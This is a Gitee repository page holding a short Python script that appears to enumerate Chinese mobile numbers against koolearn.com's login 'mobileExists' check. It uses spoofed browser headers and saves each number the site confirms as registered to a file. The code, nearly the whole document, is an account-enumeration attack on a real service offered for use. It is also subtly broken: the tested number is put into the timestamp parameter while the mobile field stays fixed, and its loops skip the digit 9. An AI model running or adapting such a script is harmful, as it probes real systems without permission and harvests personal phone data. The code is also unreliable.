1 Star 0 Fork 0

Admin / AttPro

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
克隆/下载
51IdSearch.py 1.20 KB
一键复制 编辑 原始数据 按行查看 历史
free-me 提交于 2020-09-13 07:35 . Initial commit
#__*__encoding:utf-8
import requests
phoneNum = []
def phoneN():
for i in range(0,9):
for j in range(0,9):
for x in range(0,9):
for c in range(0,9):
for v in range(0,9):
pN = '150'+str(i)+str(j)+str(x)+str(c)+str(v)+"494"
searchPN(pN)
def searchPN(pN):
print("当前查询号码:%s" % pN)
# url='https://login.koolearn.com/sso/mobileExists.do?country=CN&countryCode=86&mobile=15044063494&_=1599908313846'
url ="https://login.koolearn.com/sso/mobileExists.do?country=CN&countryCode=86&mobile=15044063494&_="+pN
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0',
'Accept': '*/*',
'Referer': 'https://login.koolearn.com/sso/toBackPwd.do',
'X-Requested-With': 'XMLHttpRequest'
}
r = requests.get(url=url,headers=headers)
if(r.text =="true"):
phoneNum.append(pN)
savePn(pN)
print('手机号:%s 存在。' % pN)
def savePn(pN):
with open('phoneNum.txt','a') as f:
f.writelines(pN)
f.write('\n')
phoneN()
# searchPN()
print(phoneNum)
1
https://gitee.com/qdzah_shengzhaoku/AttPro.git
git@gitee.com:qdzah_shengzhaoku/AttPro.git
qdzah_shengzhaoku
AttPro
AttPro
master

搜索帮助